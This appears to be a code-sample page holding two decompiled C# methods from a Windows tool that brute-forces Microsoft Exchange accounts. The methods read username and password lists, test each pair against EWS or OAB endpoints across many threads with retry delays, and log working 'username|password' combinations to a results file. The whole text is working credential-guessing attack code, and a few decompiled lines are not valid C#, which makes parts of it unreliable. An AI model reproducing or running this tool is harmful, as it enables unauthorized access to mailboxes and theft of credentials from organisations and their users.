Пример #1
0
        // Token: 0x0600000F RID: 15 RVA: 0x00003304 File Offset: 0x00001504
        private void btnPassGenPerUser_Click(object sender, EventArgs e)
        {
            Uri             exchangeUrl = null;
            int             num         = 0;
            ExchangeVersion value       = ((KeyValuePair <string, ExchangeVersion>) this.cmbExchangeVersion.SelectedItem).Value;

            this.txtExchangeAddress.Text = this.txtExchangeAddress.Text.TrimEnd(new char[]
            {
                '/'
            }) + "/";
            if (!Uri.TryCreate(this.txtExchangeAddress.Text, UriKind.Absolute, out exchangeUrl))
            {
                MessageBox.Show("The entered Exchange Address is incorect");
                return;
            }
            if (string.IsNullOrEmpty(this.txtUserPassFile.Text))
            {
                MessageBox.Show("Please enter Username File");
                return;
            }
            if (string.IsNullOrEmpty(this.txtPassword.Text))
            {
                MessageBox.Show("Please enter Password File");
                return;
            }
            if (!string.IsNullOrEmpty(this.txtThreadCount.Text) && int.TryParse(this.txtThreadCount.Text, out num))
            {
                this.IsStartDownload = true;
                Settings @default = Settings.Default;
                @default.Address       = this.txtExchangeAddress.Text;
                @default.Version       = value.ToString();
                @default.UserPassFile  = this.txtUserPassFile.Text;
                @default.PasswordFile  = this.txtPassword.Text;
                @default.ThreadCount   = this.txtThreadCount.Text;
                @default.Method        = this.cmbMethod.SelectedIndex.ToString();
                @default.UsernameStart = this.txtUsernameStart.Text;
                @default.UsernameEnd   = this.txtUsernameEnd.Text;
                @default.Save();
                MainConfig.MainFormInstase = this;
                MainConfig.StreamPassword  = new StreamReader(this.txtPassword.Text);
                string[] array = File.ReadAllLines(this.txtUserPassFile.Text);
                MainConfig.Usernames = new List <UserClass>();
                for (int i = 0; i < array.Count <string>(); i++)
                {
                    MainConfig.Usernames.Add(new UserClass(array[i]));
                }
                MainConfig.ExchangeUrl     = exchangeUrl;
                MainConfig.ExchangeVersion = value;
                MainConfig.AppLocation     = this.CurrentPath;
                MainConfig.ThreadCount     = num;
                MainConfig.Method          = this.cmbMethod.SelectedText;
                MainConfig.UsernameStart   = this.txtUsernameStart.Text;
                MainConfig.UsernameEnd     = this.txtUsernameEnd.Text;
                this.StartTime             = DateTime.Now;
                this.lblStatus.Text        = num + " Threads Working";
                string str = string.Empty;
                string a2  = string.Empty;
                this.StartTime = DateTime.Now;
                new ExchangeService(MainConfig.ExchangeVersion).Url = new Uri(MainConfig.ExchangeUrl, (MainConfig.Method == "EWS") ? "/ews/exchange.asmx" : "/oab");
                MainConfig.AppLocation + "out.txt";
                FolderView folderView = new FolderView(1, 0, OffsetBasePoint.Beginning);
                folderView.PropertySet = PropertySet.FirstClassProperties;
                folderView.Traversal   = FolderTraversal.Deep;
                try
                {
                    string text = AppDomain.CurrentDomain.BaseDirectory + "PasswordPerUser\\";
                    if (!Directory.Exists(text))
                    {
                        Directory.CreateDirectory(text);
                    }
                    string empty = string.Empty;
                    while (ThreadItem.GetPassword(out empty))
                    {
                        try
                        {
                            if (MainConfig.Usernames.Count((UserClass a) => !a.IsDone) > 0)
                            {
                                for (int j = 0; j < MainConfig.Usernames.Count; j++)
                                {
                                    UserClass userClass = MainConfig.Usernames[j];
                                    if (!userClass.IsDone)
                                    {
                                        MainConfig.UsernameStart + userClass.Username + MainConfig.UsernameEnd;
                                        str = PasswordManager.CheckUser(empty, userClass);
                                        File.AppendAllText(text + userClass.Username + ".txt", str + Environment.NewLine);
                                    }
                                }
                            }
                        }
                        catch (Exception ex)
                        {
                            a2 = "Error : " + ex.Message;
                            File.AppendAllText("log.txt", ex.ToString() + Environment.NewLine);
                        }
                    }
                }
                catch (Exception ex2)
                {
                    a2 = "Error : " + ex2.Message;
                }
                if (a2 == "Working")
                {
                    a2 = "Done";
                }
                return;
            }
            MessageBox.Show("Please enter number of threads correctly");
        }
Пример #2
0
        // Token: 0x06000032 RID: 50 RVA: 0x00005364 File Offset: 0x00003564
        private void CheckEmail()
        {
            this.pStatus = "Working";
            try
            {
                string empty = string.Empty;
                while (ThreadItem.GetPassword(out empty))
                {
                    try
                    {
                        if (MainConfig.Usernames.Count((UserClass a) => !a.IsDone) > 0)
                        {
                            int num = MainConfig.MaxTryForPass;
                            for (int i = 0; i < MainConfig.Usernames.Count; i++)
                            {
                                UserClass userClass = MainConfig.Usernames[i];
                                if (!userClass.IsDone)
                                {
                                    this.pCurrentUsername      = MainConfig.UsernameStart + userClass.Username + MainConfig.UsernameEnd;
                                    this.pCurrentPassword      = PasswordManager.CheckUser(empty, userClass);
                                    this.ExService.Credentials = new WebCredentials(this.pCurrentUsername, this.pCurrentPassword);
                                    try
                                    {
                                        try
                                        {
                                            this.ExService.FindFolders(WellKnownFolderName.Root, this.pView);
                                        }
                                        catch (Exception ex)
                                        {
                                            if (!(ex.Message.ToLower() == "the specified object was not found in the store.") && !(ex.Message.ToLower() == "the specified folder could not be found in the store.") && !ex.Message.ToLower().Contains("the 'id' attribute is invalid"))
                                            {
                                                throw;
                                            }
                                        }
                                        File.AppendAllText(this.ResultFile, this.pCurrentUsername + "|" + this.pCurrentPassword + Environment.NewLine);
                                        int pTotalSuccess = this.pTotalSuccess;
                                        this.pTotalSuccess = pTotalSuccess + 1;
                                        ThreadItem.semUser.WaitOne();
                                        userClass.IsDone = true;
                                        ThreadItem.semUser.Release();
                                        goto IL_35E;
                                    }
                                    catch (Exception ex2)
                                    {
                                        if (!ex2.Message.Contains("401") && ex2.Message.ToLower() != "thread was being aborted.")
                                        {
                                            if (!ex2.Message.Contains("Unable to connect to the remote server") && !ex2.Message.Contains("connection was closed") && !ex2.Message.Contains("The remote name could not be resolved") && !ex2.Message.Contains("didn't contain valid XML") && !ex2.Message.Contains("The operation has timed out"))
                                            {
                                                File.AppendAllText(this.ResultFile, string.Concat(new string[]
                                                {
                                                    this.pCurrentUsername,
                                                    "|",
                                                    this.pCurrentPassword,
                                                    "|",
                                                    ex2.Message,
                                                    Environment.NewLine
                                                }));
                                                int pTotalSuccess = this.pTotalSuccess;
                                                this.pTotalSuccess = pTotalSuccess + 1;
                                                ThreadItem.semUser.WaitOne();
                                                userClass.IsDone = true;
                                                ThreadItem.semUser.Release();
                                            }
                                            else
                                            {
                                                num--;
                                                if (num >= 0)
                                                {
                                                    int num2 = MainConfig.TryTimeIncrease[MainConfig.MaxTryForPass - num - 1];
                                                    this.pStatus = MainConfig.MaxTryForPass - num + " try - " + ex2.Message;
                                                    File.AppendAllText("log.txt", string.Concat(new object[]
                                                    {
                                                        this.pCurrentUsername,
                                                        "|",
                                                        this.pCurrentPassword,
                                                        "|After ",
                                                        num2,
                                                        "ms Try ",
                                                        MainConfig.MaxTryForPass - num,
                                                        " Times -> ",
                                                        ex2.Message,
                                                        Environment.NewLine
                                                    }));
                                                    Thread.Sleep(num2);
                                                    i--;
                                                    goto IL_355;
                                                }
                                            }
                                        }
                                        goto IL_35E;
                                    }
                                    goto IL_355;
IL_35E:
                                    long pTotalCheck = this.pTotalCheck;
                                    this.pTotalCheck = pTotalCheck + 1L;
                                    this.pStatus     = "Working";
                                }
                                IL_355 :;
                            }
                        }
                    }
                    catch (Exception ex3)
                    {
                        this.pStatus = "Error : " + ex3.Message;
                        File.AppendAllText("log.txt", ex3.ToString() + Environment.NewLine);
                    }
                }
            }
            catch (Exception ex4)
            {
                this.pStatus = "Error : " + ex4.Message;
            }
            if (this.pStatus == "Working")
            {
                this.pStatus          = "Done";
                this.pCurrentUsername = "******";
                this.pCurrentPassword = "******";
            }
            this.IsDone = true;
        }